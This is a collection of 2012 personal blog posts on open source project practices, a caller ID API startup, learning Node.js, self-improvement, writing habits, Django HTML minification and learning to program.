I highly recommend that regardless of whether you primarily maintain or contribute, you read both sections thoroughly. Open source development is a staple of modern society, and in order to ensure that the open source ecosystem remains friendly, accessible, and effective–we (as developers) need to do all we can to promote best practices and effective collaboration.

Maintainers

Maintaining open source projects is hard–it requires time, energy, and good communication. The principles outlined here should be applied to all open source projects (large and small), as they will ensure that your life (and the life of your contributors) is as simple as possible.

All of the practices mentioned below only apply to projects once they’ve made an initial release. If you are still working on implementing the basic functionality of your software–you may choose to ignore any of these rules, and work in whatever way is most effective for you personally.

I’ve tried to list these rules in order of importance, so as a project maintainer you can use this list as something of a checklist for new projects, going through and crossing off each requirement until your project is fully compliant.

1. Write Official Documentation

The first requirement for any open source project is that it has good documentation for prospective users. There is absolutely no excuse for not having good documentation.

Your official documentation should (at a minimum) include:

What your project’s purpose is, and who is its intended audience. For example, if your project provides a Python library for controlling the Mars Rover spacecraft, you should explain that your project is meant to be used by NASA scientists on the rover project, and that you need at least a PhD in Physics to get started.
How to properly install your project. Ideally, your project should be installable via a common (simplistic) method: PyPI for Python, PEAR for PHP, CPAN for Perl, RubyGems for Ruby, etc.
A quickstart guide which walks new users through building a working application. This piece is critically important, as it will determine what new users think of your project. Having a good quickstart guide shows users that you care for them, and ensures that both you (as a maintainer) and your users have a good understanding of your project.
A topic guide explaining specific components not referenced in the quickstart guide. This should include extra bits of information, code samples, and topic-specific documentation. For example, if your project provides a simple IRC bot library, you may want to put documentation on managing multiple server connections here (as that information is probably too in-depth for a quickstart guide).
How to contribute to your project. This section should include (in detail):
- How to check out your project’s source code.
- Which branch to use for development.
- What style rules to follow when adding code.
- How to run all of the project’s unit tests, integration tests, etc.
- An example work flow.
Where to get help. If your user is stuck, and can’t figure something out–where should they go for help? A mailing list? A forum? An IRC channel? A personal email account?

Having good official documentation is probably the single most important thing you can do (as a maintainer) to ensure the long-term success of your project. Good documentation encourages new users to use your code, encourages contributors to contribute to your project, and gives you a positive reputation in the developer community.

Some things to take note of:

A wiki does NOT qualify as official documentation. If possible, avoid wikis entirely. Having a wiki gives off a bad impression to new (and existing) users.
If you have a very small project (such as a simple command line utility with a single purpose), it is ok to combine your quickstart guide with your topic guide.
If you have a small project, use GitHub’s new project page generator: to host your documentation.
If you have a project with any sort of real complexity, use http://readthedocs.org/ to host your documentation. Read the Docs provides free documentation hosting, with a lot of useful features, including:
- A beautiful default theme (with many other themes to choose from).
- GitHub hooks to automatically build your documentation whenever your project is updated.
- The ability to generated PDF downloads for your documentation.
- The ability to support multiple versions of documentation for your project (v0.1, v0.2, etc…).

2. Use Git Flow

git-flow is a popular Git branching model (and add-on) that provides a simple way to work with stable projects. The idea of git-flow is that each project should have two branches at all times: a master branch which always contains stable, production-ready code–and a develop branch which contains the latest development code.

Using git-flow should encourage:

The master branch to only receive updates when there is a new (stable) release of your application (or library) ready.
The develop branch to receive all updates from you (as the project maintainer), and your fellow core contributors.

By agreeing upon a stable Git branching model, you can ensure your users are never confused as to:

Which branch to use in production.
Which branch to use for development.
Where to submit their pull requests.

To learn more about git-flow, read the following posts (in order):

3. Publish Test Runs

If you don’t write tests for your code, read this before you go any further. As I’m sure you know, tests are essentially worthless if they aren’t ran–after all, what’s the point of having tests if nobody cares about them?

For open source projects, simply running your tests isn’t enough. In addition to running your tests, you also need to publicize your test results so that your users and contributors know what the status of your test suite is.

While this is not commonly practiced–publicizing test builds is a great way to:

Inspire confidence in your code base.
Ensure that all code submissions adhere to a certain level of quality (and don’t cause breakage).
Make errors transparent, so that things can get fixed quicker.
Make your tests more valuable, as people will see them and instantly know that testing is important in your project.

If possible, you should always attempt to use Travis CI to run the tests for your project. Travis CI is “A hosted continuous integration service for the open source community.” At the time of writing, Travis CI supports a wide array of programming languages, frameworks, databases, caching services, and many other infrastructure components which allow you to successfully run your test suite, regardless of its complexity.

To get started with Travis CI, read their official documentation.

NOTE: If you are using Travis CI to run your project’s tests–make sure you use their sharing functionality to embed your project’s build status in your official documentation. The recommended way to do this is embed the Travis CI markdown code into your project’s README.md file, this way GitHub will display it prominently on your project page.

If you can’t use Travis CI for any reason, you should use Jenkins. Jenkins is a simple continuous integration server that you can easily configure to build your projects. If you are using Jenkins, be sure to link users (from your documentation) to your Jenkins web page so they can view your test builds.

4. Use GitHub Issues

GitHub issues is the best way to track issues for your project, and you should encourage your users (and contributors) to use it for:

Feature requests.
Documenting bugs (or weird behavior).
Listing TODO entries for development.
Referencing issues from Git commits.

Having all of your project’s issues in one place makes it easy for users and contributors to submit problems, comment on other people’s problems, find things to do, and generally keep organized.

Ensuring your project’s issue tracker is always kept up-to-date and well maintained also strongly encourages new contributors to work on the project, as they can easily find issues and fix them for you.

Contributors

Contributing code to open source projects can be difficult, exciting, scary, and rewarding. This section is aimed at helping you successfully contribute code to projects you like, while minimizing the odds of failure along the way.

If you stick to these tips, you can’t go wrong. As with the maintainers section–the tips below are ordered by importance, and can be followed as a checklist.

1. Read the Project Documentation

If the project you’re attempting to contribute to has any official documentation, be sure to read all of it before submitting any code. Often times the code submission you have in mind is already part of the project, and can be found somewhere in the documentation.

Reading through the official documentation will also typically give you a good feel for the project’s purpose, scope, and ideals. These are incredibly important, as possibly the most critical factor in having your code accepted to a project is that it meshes well with the existing code base. It is highly unlikely, for instance, that an IRC bot maintainer will accept a pull request containing code which adds Skype support–as the project is most likely focusing entirely on IRC.

2. Look at the Issue Tracker

Before writing your first line of code, be sure to scan through the project’s issue tracker.

If you are planning on fixing a bug, and you don’t see it listed in the issue tracker yet–create a new issue for it! The best type of code is code that is never written. The bug you’re attempting to fix may be another problem unrelated to the project, so filing an issue before submitting code is typically a good idea as it will save you (and the project maintainer) lots of time and confusion.

If you are considering submitting a new feature to the project–create an issues for it first, and explain the feature you’d like to submit and why you think it would be useful. This gives the project maintainer the ability to discuss the feature with you, and figure out what the best way to move forward is. Often times, having feature discussions before submitting code greatly increases the chance your code will be accepted, as the maintainer already expects you to submit code, and has a good idea of what to look for and inspect.

3. Comply to Style Guidelines

Almost every project has a distinct style of code. Whenever you submit code to a project, be sure that your code complies with the already existing style.

Not only will writing code in the same style as the project make the code easier for you to understand–it will make it easier for the project maintainer to review, accept, and publish!

Regardless of whether or not you like the style of the existing code base, complying with the author’s style guidelines makes everyone happier as all the code will be uniform, easier to scan through, easier to debug, and easier to maintain over time.

4. Unsure? Ask!

If you’re unsure about anything–whether it be coding style, development work flow, wording, whatever–try not to make assumptions, ask!

Quite possibly the greatest benefit of open source software is that it brings people together to create amazing things. If you’re not sure about something, have a chat with one of the project maintainers–they’ll most likely be really happy to talk to you.

Project maintainers don’t want to waste time (theirs or yours), and will usually be more than happy to explain why something is (or isn’t) a good idea. Discussing questions before submitting code is a great way to make new friends, learn cool things, and generally enjoy your open source experience a lot more.

Have Fun

Maintaining and contributing to open source projects is a lot of fun. There’s nothing quite like the rush you get by creating something entirely new, and sharing it with the world. Whether you’re starting a project or contributing to one, enjoy your work, meet new people, and have a good time.

If you ever find yourself in a situation where you aren’t having fun, stop what you’re doing immediately and re-think things.

I hope the guidelines above were useful to you. If you have any questions or suggestions, please leave a comment and I’ll update the post as needed.

I'm Working on a Startup

r@rdegges.com (Randall Degges) — Sun, 08 Apr 2012 00:00:00 -0700

For the past several months, I’ve been working with some really great friends of mine on a startup, OpenCNAM. As some of you know, I have a lot of experience doing telephony development: primarily building large back end systems.

Since I started hacking telephony code (almost 4 years ago), one thing that has always bothered me is how hard it is to find (and use) telephony data. As anyone in the telephony industry will tell you: the industry is huge, old, and fragmented.

Even the simplest of all things: getting someone’s caller ID name information given a telephone number is tremendously difficult. The way caller ID works on the PSTN (public telephone network) is insane. Caller ID information is fragmented, stored in huge carrier databases, and there is no simple way to extract the information.

For programmers (like me), this makes building telephony applications a nightmare. Frankly, we were tired of jumping through hoops to get simple caller ID data, and decided to do something about it.

OpenCNAM - Caller ID Made Simple

OpenCNAM is an API company designed from the ground-up to be as simple as possible. The main idea is to make getting caller ID information easy–really easy. No more negotiating deals with telco providers and surfing through endless pages of Google looking for relevant information.

If you’re a programmer looking to use caller ID information in your software, and you can’t get something working within 5 minutes of visiting our website, we’ve failed our mission.

In the spirit of making things as simple as possible, OpenCNAM also has a generous free tier. That’s right. If you’re writing an application that does less than 60 queries per hour, you don’t even need an account with us! All you have to do is hit our API endpoint, and BAM, you get results back. It’s that easy.

Need to do more than 60 queries per hour? No problem. Once we’re out of beta you’ll be able to create an account, add some funds, and pay for exactly what you use (with automatic volume discounts).

NOTE: If you’d like to give our beta a try, send an email to support@opencnam.com and we’ll get you an API key.

With 17,717,475 successful queries and counting, OpenCNAM is already taking off. If you do any telephony development at all, I’d love to hear your feedback.

Over the coming months, I’ll be spending more time writing about my startup journeys, so be sure to check back!

Why I'm Learning Node

r@rdegges.com (Randall Degges) — Sat, 07 Apr 2012 00:00:00 -0700

As many (if not all) of you know, I’m a Python guy. I program every single day, and most days, that involves using Python. I write Django code for fun and profit, and also do a fair amount of “raw” Python coding (no frameworks).

Unfortunately, while I do a lot of kick ass back end coding, I don’t often get a chance to practice my front-end kung fu. Since I’m fairly knowledgeable about the back end stuff I work on (telephony services, web services, etc.), it doesn’t often make sense for me to also build the front end code (I’m looking at you: HTML, CSS, Javascript). As a result of this lack of front-end coding practice, I suck at it.

I suck at HTML, CSS, and most of all, Javascript.

Over the past few years, my lack of front end knowledge has really began to bother me. I enjoy doing full-stack development. I like taking projects from conception to completion. Something about the creation process resonates really well with me. What I don’t like, however, is feeling crippled when I have an idea, write the back end for it, and then have to spend months fiddling around with the front-end to make it look even half decent.

Since I first started writing websites, Javascript has really changed a lot. While Javascript used to be a toy language for moving navigation elements on a page, it’s now usable everywhere: server side (nodejs), client side (backbone), and even in the database (mongo).

So, after many years of not properly learning Javascript–I decided to take it seriously and dive in. My goal is to become a proficient Javascript programmer, so that I can:

Use some of the new Javascript frameworks and tools that are out there (node, backbone, knockout, etc.).
Contribute to Javascript projects that I like.
Write my own Javascript code (server side and client side) without feeling like an idiot.
See what all the fuss is about.

Since I’m already familiar with programming concepts, the first thing I did was pick up the highly recommended book: Javascript: The Good Parts. I read through that a few weeks ago, and subsequently failed to find a good way to apply my newly found Javascript knowledge to anything practical.

NOTE: If you’re an experienced programmer looking to learn Javascript, you probably can’t do any better than reading Javascript: The Good Parts. It’s extremely short, concise, and enjoyable to read. Highly recommended.

To actually practice my newly learned Javascript-fu, I decided to give nodejs a try. Since I learn best by writing command line applications (who actually enjoys reloading their browser to test code?), I figured node would be a good choice.

If you aren’t familiar with node (why are you reading this?), it’s a server-side Javascript interpreter. That means you can use it just like Python, ruby, or perl–directly from the command line (no browser required). It also comes with an extremely elegant package manager (npm), that makes building and sharing reusable node modules extremely simple.

After reading so many negative things about nodejs, I’m completely surprised to report that it is actually pretty damn cool. While I’m not (currently) using it for building websites or anything like that, it really makes Javascript a lot simpler for people like me: back end developers who want to learn Javascript without all the barriers to entry (I’m looking at you, web browsers).

node has a great package manager, tons of extremely awesome modules, a large developer community, and great documentation. I was able to write my first reusable nodejs module (node-opencnam) in less than 1 hour. That’s pretty insane.

I went from 0 knowledge of nodejs to a working, publicly available, reusable module, in less than 60 minutes. Booya.

After playing around with nodejs a bit, I’ve decided to continue learning it. So far it has been extremely useful in my quest to learn Javascript, and as I’ve continued to build things using it, I’ve been slowly getting more and more familiar with Javascript as a language.

As I learn more about Javascript, I’ll keep you all updated!

NOTE: I’m going to start reading through the Node Beginner Book this weekend. You should check it out.

Do Stuff, Have Fun

r@rdegges.com (Randall Degges) — Fri, 23 Mar 2012 00:00:00 -0700

I’ve got a new philosophy–on life, work, adventures, whatever: do stuff, have fun.

Even though I’m a very easy going fellow, I tend to spend a lot of time and energy thinking about things and debating even the smallest decisions with myself. Over time, this bad habit has built up. Yesterday I was debating with myself about doing laundry.

LAUNDRY!

At the time, I was thinking something along the lines of: “Well, I really need to do some laundry. It’s a lovely day outside, and it would be nice to get outside on the patio and spend some time folding clothes anyway. I should just go for it.”

But then my thinking really starts to kick in: “OH wait. I really need to push myself to finish this project I’m working on. I’ve still got about 20 hours of hacking left to do before I can even think about anything else. And damn. My car! I’ve got to call the shop back again tomorrow and let them know I’m bringing it in. Oh, but I’ve got to fill out that form on their website before they’ll call me back.”

That’s what flashed through my mind in only a millisecond or so. I can’t even remember all the thousands of other things I was thinking immediately afterwards–but the point is: it sucks.

I don’t like making a big deal out of things so small and insignificant. I consider myself a reasonably logical and intelligent guy–but sometimes I just think “WOA. I really need to just let go of it all and do the things I want to do.”

If I want to go for a bike ride, I’m going to go for one! If I want to spend the next 3 hours working on that project that needs to get done, then I’ll do it, and I’ll have fun with it.

I’m not going to let myself get carried away with the little things. Life is way too short for that.

From now on I’m just going to do stuff, and have fun. Forget everything else.

Do the Right Thing

r@rdegges.com (Randall Degges) — Tue, 20 Mar 2012 00:00:00 -0700

While I devote a lot of time, energy, and effort to making myself a better person–I sometimes think I make the whole thing too complicated.

What does “personal development” even mean, really? The whole concept of personal development really boils down to this: do the right thing.

That’s it!

Let’s say you’d like to lose weight. “Doing the right thing” for you would simply be eating healthier foods. Similarly, if you’d like to become a better writer–“doing the right thing” would mean writing more frequently, reading more often, and studying the works of those authors whose style you’d like to emulate.

Imagine if you woke up tomorrow with no memory of who you previously were. What if the only thing you could remember were the traits you’d like to have… Let’s say:

You’d like to be an excellent writer.
You’d like to be large and muscular.
You’d like to be an honest person.
You’d like to help others.

What would you do? Well, I’m assuming that you’d:

Start writing frequently and attempt to become a good writer.
Eat healthy foods and lift heavy weights.
Be honest with yourself and everyone else.
Help those people around you who need assistance.

I mean–why wouldn’t you? You have no memory of anything, and you’ve got a clear picture of the things you want to become. I’d even say that you’d be crazy not to pursue those goals!

When I’m struggling with my own personal development, I often remind myself that progress can be either really simple, or really difficult. The choice is up to me.

Over the past few weeks I’ve been having a lot of problems mustering up the energy to make the changes that I’d like to make. Sure, I’ve been making progress–but the progress I’ve made has been so small that it’s demotivating.

It’s times like these that I like to think of things as simply as possible.

Do the right thing. Make the right choices. You’ve got an ideal that you’re working towards. You know what things you need to do to get there. So do them.

If things are hard–fight for them. If you can’t seem to find a way around your problems, bulldoze through them.

While simply “doing the right thing” can be a scary–it is often times easier than the alternatives.

Do the right thing.

Writing Habit -- Thoughts (continued)

r@rdegges.com (Randall Degges) — Mon, 05 Mar 2012 00:00:00 -0800

For the past two months I’ve been writing for at least 30 minutes a day. I’d like to quickly reflect on what I’ve accomplished so far, and my thoughts on the process.

First off, accomplishments… Since I started this experiment, I’ve:

Written 18 new blog posts, and 10 article drafts.
30 days worth of private journal entries.
4 chapters of a book I’ve been working on.
API documentation for a startup I co-own.
Documentation for a handful of projects I work on in my free time.
Had over 150,000 page views on my website. Crazy.

Before starting this writing adventure, I never would have guessed I’d do all that. While almost all of it has been an accident–looking back, I feel pretty happy with the results. Through the process of writing each day, I’ve learned a lot about writing, communication, and more importantly, myself.

Writing

Writing is all about expression. Probably the most important thing I’ve learned so far is that if you suck at writing then, chances are, you suck at expressing your ideas and thoughts as well.

For the longest time, I considered myself a decent writer. In school I easily passed the AP English writing classes, and had no problem at all cranking out essay after essay of required writing. When I left school and started working professionally (which, incidentally, is when I decided to commit to my personal development at a much higher level), I had a major realization: I am not a good writer.

My ability to write on topics that made me excited was almost non-existent. Sure, I could produce specially crafted five paragraph essays to explain a piece of literature–but writing a clear and concise technical article? No way.

Even though I love technology and programming, and eagerly wanted to write about the various things I was working on, and techniques I was learning–I simply didn’t have the skill set to make it happen. Articles I wrote came out jumbled, disorganized, and chaotic.

At the time, I simply thought that if I chose to write whenever I had inspiration, than I’d easily improve my writing skills and become better. But you know what? It didn’t happen. Not until I decided to actually commit to writing each day, did I finally make the breakthrough I was looking for.

A Breakthrough

By looking at writing as part of my life, as central piece of who I am–writing has become so much easier. While I’ve mentioned this before, I think it warrants another discussion.

Previously, I thought of writing as something I should do from time to time. It always seemed like something extremely useful, but also extremely tedious. As I would write, I’d labor over every sentence in my head, making sure it was absolutely perfect before writing it down. Sometimes I’d sit in front of the computer for hours staring at my text editor, only to find that I’d written down only two paragraphs of text.

While I was able to finish pieces after long periods of time… It just didn’t feel right.

When I started my writing habit, I knew that I’d have to force myself to write down whatever I was thinking if I wanted to accomplish anything. I knew that with only 30 minutes a day of writing time, I’d have to rapidly jot down my thoughts, and save the heavy analysis for later if I wanted to actually get anything done.

After a few weeks of writing in this manner–jotting my thoughts down and really “letting loose”, I had a realization: writing is fun. While I enjoyed writing before, the mental effort it took dissuaded me from writing more frequently. After forcing myself to drop my inhibitions and write freely (so that I could actually be writing for 30 minutes a day), I realized how fun writing can be.

Writing doesn’t have to be difficult, it can be as easy as writing what you’re thinking–as you’re thinking it. For me, this was the breakthrough.

Since I realized that I enjoy writing much more when I’m simply dumping my thoughts onto paper, I’ve become extremely attached. The process of writing each day feels good, and has become a critical part of my daily routine.

Benefits

While I’m in no way a good writer now, I feel a lot more comfortable writing, explaining my ideas, and sharing information with other people.

In addition to the obvious benefits, I’ve also:

Developed several friendships with people whom I never would have had the pleasure of meeting if not through my writing.
Discovered my passion for writing.
Had several job offers and other opportunities come out of writing that I never would have had without it.
Greatly increased my ability to clearly communicate ideas to friends and co-workers.

In particular, meeting new people through writing has been a wonderful experience. I’ve met several extremely talented programmers who are, without question, some of the smartest people I’ve ever spoken with. I maintain a pretty close circle of friends (you should come say hi if you use IRC (irc.oftc.net/#heapify)), and I find it extremely difficult to meet other highly self-motivated people who share common interests (like personal development, programming, etc.). Through writing, I’ve been able to close that gap and connect with lots of great people.

Through journaling and private writing, I’ve been able to step back and take a look at my thoughts–analysing my actions, behaviors, and habits in a way that I’ve never done before. This has helped me resolve a lot of internal questions I’ve had about myself, and given me a new level of understanding and self-consciousness. Since I enjoy working on personal development, this has made a profound impact in my day-to-day life, and I’ve found new ways to incorporate my new self understand into my habit building regimen.

Final Thoughts

Of all the habits I’ve built, writing has been my favorite. The benefits are vast, the payoff is great, and it’s internally rewarding to work on.

Over the next several months I plan on improving my writing style, ability, and fluency even further. My end goal is to become skilled enough so that I can effortlessly dump my thoughts onto paper in a way that clearly describes my thoughts to my audience, in an organized manner.

While my writing has matured quite a bit over the past few months, I still have many years to go before I reach the level of fluency that I’d like to attain.

ALSO: Are you working on a writing habit? If so, I’d love to hear how your journey is going. Please send me an email (r@rdegges.com), and let’s keep in touch!

The Simplest Way to Compress HTML in Django

r@rdegges.com (Randall Degges) — Sun, 04 Mar 2012 00:00:00 -0800

NOTE: Since writing this post, it has been brought to my attention that as of 2013, there is a new potential attack vector on sites using gzip. Please read this Django security comment for more information after reading this article.

I’ve been working on a lot of website optimization stuff recently for my Django projects, and thought I’d share a cool utility I found for compressing your entire site’s HTML code.

If you’re running any site that could benefit from reduced page load times (who wouldn’t want that?) you may want to consider giving this a go. Essentially, what we’re going to do is take your normal Django template code:

<!doctype html>
<html lang="en">
 <head>
 <meta charset="utf-8" />
 </head>
</html>

And compress it so that when the page is rendered for users, it looks like this:

<!doctype html><html lang="en"><head><meta charset="utf-8"/></head></html>

Obviously this is a simple example, but when you have pages with lots of content on them, compressing your pages can lead to a really big page load performance boost, since you’re sending significantly less data to the end user.

The Django app you’ll be using to do this is django-htmlmin. To get started, you really only need to do two things:

pip install django-htmlmin
Add htmlmin.middleware.HtmlMinifyMiddleware to your MIDDLEWARE_CLASSES setting.

By default, django-htmlmin will only compress HTML when your DEBUG setting is set to False (e.g. when your site is running in production)–this way, while you’re developing and testing your code, you’ll still have your HTML uncompressed so you can look at it in its original form.

Here’s a quick snippet from my settings.py which shows my MIDDLEWARE_CLASSES (for reference):

MIDDLEWARE_CLASSES = (
 'django.middleware.gzip.GZipMiddleware',
 'htmlmin.middleware.HtmlMinifyMiddleware',
 'django.middleware.common.CommonMiddleware',
 'django.contrib.sessions.middleware.SessionMiddleware',
 'django.middleware.csrf.CsrfViewMiddleware',
 'django.contrib.auth.middleware.AuthenticationMiddleware',
 'django.contrib.messages.middleware.MessageMiddleware',
)

NOTE: If you’re concerned about compressing HTML, you should probably also enable Django’s GZipMiddleware (as you can see in my snippet above). GZip compression will greatly reduce the size of your page’s data for transfer to the end user, further decreasing page load time.

IMPORTANT: You should always have both GZipMiddleware and HtmlMinifyMiddleware defined before all other middleware classes. The ordering of the MIDDLEWARE_CLASSES tuple matters in Django, and since both of these middleware modify HTML after it’s already been passed through the other middleware classes, it is necessary to have them executed last by Django (which means defining them first in MIDDLEWARE_CLASSES).

Merciless

r@rdegges.com (Randall Degges) — Sun, 26 Feb 2012 00:00:00 -0800

I’ve been working on myself a lot the past few years. I’ve been trying to become stronger, faster, smarter, more honest, and better (overall). The process of becoming these things is hard work; it takes years of dedication, patience, and discipline–at least, that’s what they tell you.

I’ve lived my entire life (up till now) being told that moderation is important, and even critical to success. Despite this, I can’t help but shake the feeling that somewhere, deep inside, there’s a loud, booming voice telling me to do things all the way, with complete and absolute dedication. The voice tells me that regardless of whether I’m working out, writing software, writing articles (as I am now), or even working on my marriage and friendships–that I should push myself to my limits (and beyond) to make what I’m currently working on successful.

This voice tells me that there is no middle ground–there is only absolute victory, or absolute failure. It tells me that no matter what the consequence, whether it be fatigue, injury, or even death–that I must do it. Live with pain, or live with regret.

For the longest time I’ve talked with my wife about my struggle with personal development. Everyday I question with the approach I take. While consistency is important, I always feel inadequate with my progress, and feel that I should be pushing harder, running faster, and sprinting to the finish line.

Through the years, I’ve read so many books on personal development, minimalism, and life hacks that I can’t help but see all their themes blended together. More than anything, the theme to these books is one of moderation: build up habits slowly, one at a time, and if you stick with it over the years, you’ll eventually become more and more like the person you’re trying to become.

While I understand the idea that moderation is important, and quite possibly the best method for most people to make life changes–I’m tired of fighting my nature. I’m tired of making myself live by rules that I can’t personally follow with complete dedication. I’m tired of forcing myself to slow down and live a way that I don’t fulfilling.

For the remainder of this year, I’m going to try something completely different. I’m going to let go of all my fears, worries, and previous knowledge–and I’m going to live the way that voice tells me to. I’m going to live mercilessly.

Instead of worrying about myself, I’m going to push myself as hard as I can. I’m going to exercise harder, eat healthier, work with more focus, and build the projects I feel like building on my spare time.

Instead of taking my time to do things, so I don’t overexert myself, I’m going to do things as fast as I feel they should be done. This means no more procrastination. No more self pity.

Instead of constantly trying to live comfortably and without stress, I’m going to make sure I don’t feel comfortable. I’m going to work on the most bold and adventurous projects possible, and ensure that I’m constantly pushing myself beyond my means. I want to make sure that regardless of my current disposition, I’m constantly growing, learning, and living to the fullest.

Execute fear.
Abolish doubt.
Eradicate anxiety.
Slay pity.
Ravage concern.
Obliterate moderation.

Deep down, I feel that I can no longer live the way I’ve been living. The voice won’t let me. To feel like I’m living on purpose, I need to dramatically change my lifestyle, and more importantly, my thinking.

So here goes nothing.

Into the darkness we go.

How I Learned to Program

r@rdegges.com (Randall Degges) — Fri, 03 Feb 2012 00:00:00 -0800

Programming is, without a doubt, the most mentally rewarding thing I’ve ever done. Programming taught me that life should be fun, filled with creativity, and lived to the fullest. Programming taught me that anything is possible; I can do anything I want using only my mind.

Programming also taught me that learning is fun. It showed me that the more you know, the more power you have. Programming showed me that a life filled with learning is a life worth living. Programming revealed to me who I am inside, and has continuously helped me work towards my goals.

I feel extremely lucky to have had the means and opportunity to learn programming early in my life. While my methods are certainly not optimal for everyone, they worked well for me.

I have no regrets.

So I figured I’d share my methods with you, in hopes that a beginner will read this and get some value out of it.

If you don’t want to read all this, the important takeaway here is to, above all else, have fun.

Install Linux on Your Box

While in my own life, I actually learned quite a bit about computers through video games on MSDOS computers–my real learning started the first day I installed a Linux operating system on my home computer.

It doesn’t matter whether or not you use Windows on your laptop, or if you have a Macbook Air–if you want to learn to program well, you need to use Linux. Sure, there are a ton of great programmers out there using other systems, but you cannot beat Linux as a learning machine.

Despite what you may think, programmers don’t just “program”. Programming as you probably think of it is nothing more than input and output. You type things, and stuff happens. This is incorrect.

Programming is a way of life.

Programmers are people obsessed with knowledge. Programmers use this obsession to fuel a life of learning, discovery, and creation. That is the true definition of a programmer.

A big reason to use Linux for your day to day work is that it helps you passively learn about programming as you use it. On Windows, if you want to copy a file from one box to another, you drag and drop. On Linux, if you want to copy a file from one box to another, you use scp or rsync. Learning how to use the command line teaches you basic technical logic and problem solving skills.

Another important skill you passively acquire by using Linux is self sufficiency. Unlike many other lines of work, programming does not require you to memorize a million things, or repeatedly do the same thing over and over again; instead, programming requires intense self motivation and determination.

Even the best programmers typically have no idea what they’re doing when they start a new project. If I could summarize one thing I do more than anything else as a programmer, it would be research. Programmers must know how to lookup information, and how to process and use that information in a useful manner. This skill is typically acquired over long periods of time–but Linux can help.

Using Linux will require you to actively seek out solutions to problems. If you don’t know how to setup an SSH tunnel–you will learn. Using Linux will drive you to discover new things you never would have thought of while using Mac or Windows. As you slowly become a better and better Linux user, you will coincidentally become a better and better programmer and pragmatist. You’ll learn how to go about solving problems. How to hunt down errors. How to use your combined knowledge to create new things and make your life (and others’ lives) easier.

Furthermore, since Linux (as well as a majority of its applications) is open source, you’re in a great position to learn more about programming culture. At one point or another, I can almost guarantee you will:

Find a bug in an application you use.
You’ll search for an answer online.
You’ll find either a ticket system or a forum for the software you’re using.
You’ll submit a ticket about the bug, or post on the forum stating your problem.
Interact with other users like yourself to help resolve the issue.

While this may not sound cool now, just wait. Once you’ve done the above, you’ll really be acquainted with the tech community. Finding problems, discussing them with others, and solving problems is what makes the technical community thrive.

If everything was perfect and there were no problems to solve in the world– life would be boring. Getting out there and fixing stuff–fighting chaos–that makes life worth living. So enjoy it!

Linux can help teach you these things, and more.

Have an Intense Desire

Why do you want to program? What is motivating you? What drives you? Unless you desperately want to learn programming, you will fail.

When I started coding, it was because I had an intense desire to hack video games. Back when I was a kid, video games were my life. I would rush home from school and spend as long as I could on the computer playing old classics. Some of my fondest memories are playing epic Starcraft matches against my brother (we’d have no rush 2 hour games where we’d max out our units and have battles that would cause our GPUs to quake in terror).

More than anything, I wanted to hack the shit out of those games. I wanted to dominate them. I wanted to enslave my computer and have it do my bidding.

While my old motivations are silly to me now, back then I felt them intensely. I’d dream about it at night, constantly think about it during the day, and obsess about it while I was on the computer in the afternoon.

When I set my mind towards learning to program, I knew I would make it happen. I knew that no matter what happened in my life, I’d either learn to program or I’d die trying. It was what I can only describe as a glorious feeling. It was similar to that feeling you have where you want something so bad, so intensely, that you feel it with every muscle in your body.

Regardless of the fact that I had absolutely no idea what I was doing–that I knew absolutely no technical people whatsoever–that I had no resources–and that I had zero guidance–I found a way. I ruthlessly read through internet tutorials on random web pages. I spend hundreds of hours scouring random forums looking for bits of information.

The most important thing, however, is that because I wanted it so bad, it felt easy. I’ve always been an all-or-nothing type of person, and I think that this helped me break through the initial barriers and eventually become a half decent programmer.

Build Small Command Line Programs

A lot of people now-a-days seem to be learning programming by diving head first into web development. While this may work for some people, it seems pretty damn crazy to me. Not only are web technologies complex and vast (building a modern website requires a ton of separate skills that take years to mature), but they’re frustrating and discouraging for new developers.

Maybe I’m old school (I’m only 23 :x), but there is nothing more satisfying (and educational!) than writing a ton of simple, command line programs.

I can’t even begin to express how useful this was in my programming education. For the longest time (after I gained a basic understanding of programming) I’d rush home from school, sit down at my computer, and spend 5 or 6 hours writing a simple command line utility. I’d write tons of things:

A simple program that takes in filenames as input, and stores those files all in an organized directory hierarchy depending on the file type.
An IRC bot that logs all channel activity to a text file.
A simple program that downloads all the images on a given web page.
A tool to convert base 10 numbers to any other base on the CLI.
A provisioning script that installs all my OS customizations: wallpapers, themes, etc.
A basic screen shot program that automatically uploads screen shot to an image hosting website, and copies the resulting URL into the clipboard for instant copy-paste fun.
And a million other things.

I got so much value out of these small exercises. Each one was simple enough to be written in several hours (no more), and each one taught me stuff: either a new language, library, or strategy. There’s no doubt in my mind that I gained a good portion of my programming knowledge through building these apps.

The other benefit to building these small apps is confidence. Each app I built was a huge personal accomplishment. I felt proud of each one. I’d maintain all of them, and periodically rewrite the code using all the new strategies I’d learn. This taught me basic iterative programming (making improvements over time), and how to really contribute to the open source world.

If you’re a new programmer, I doubt there’s anything better (or more fun) than writing a ton of small command line utilities. Don’t believe me? Try it, and tell me you aren’t addicted after the first one!

Write, Write, Write

Writing is a bit controversial. When I started programming, nerds had a reputation for being bad at everything except computers. For a while, I assumed that since I was good at computers, I was naturally worse at everything else: writing included.

That’s bullshit.

I’ve come to realize over the years that programmers are, in particular, excellent writers. The ability to think logically and solve problems is a great writing asset. It’s particularly hard to explain your thoughts in writing. In my opinion, having strong programming skills makes this much easier, since as a programmer, you’re used to arguing with logic and use it everyday in your work.

Through the process of writing a lot, you’ll greatly improve your reasoning ability, and consequently, become a better programmer.

As a programmer, having a blog is a great way to practice writing. It’s a great way to keep track of the things you learn, and help ensure you are always making progress. Through the process of writing about things, technical things in particular, you’ll greatly increase your knowledge on the subject.

For instance, if you’re writing a CLI app that orders pizza through Dominos, it would be hard to write about that without going into detail describing the technology you’re using, how the Domino’s API works, etc. By taking the time to write about your experiences working with their API, you’ll consequently learn a lot more than you would if you didn’t.

Writing can be amazingly helpful when used to describe technical stuff, as it really simplifies and clarifies the root of the problem–forcing you to think of the problem in the simplest way possible. I can’t tell you how many times I’ve worked on a really tough problem, then taken the time to write about it and realized that I vastly overcomplicated the issue.

One of my biggest regrets is that over the years I threw away a vast majority of my articles. Over time I rewrote my website frequently, mismanaged servers, and slowly lost most of my writing. This blog you’re reading now exists primarily as the result of my decision to save all my future writings and provide a home for them that I won’t mistakenly lose. Don’t make the same mistake I did!

Join an Online Community

The internet is a big place. Programming is a big field. While it is certainly possible to become an excellent programmer by yourself, completely isolated–it is much easier to do it with the help of friends.

When I started programming I was lucky enough to meet some amazing like-minded programmers online using IRC. The people I met were some of the smartest, passionate, and most motivated individuals I’ve ever met in my life. We’re still friends today!

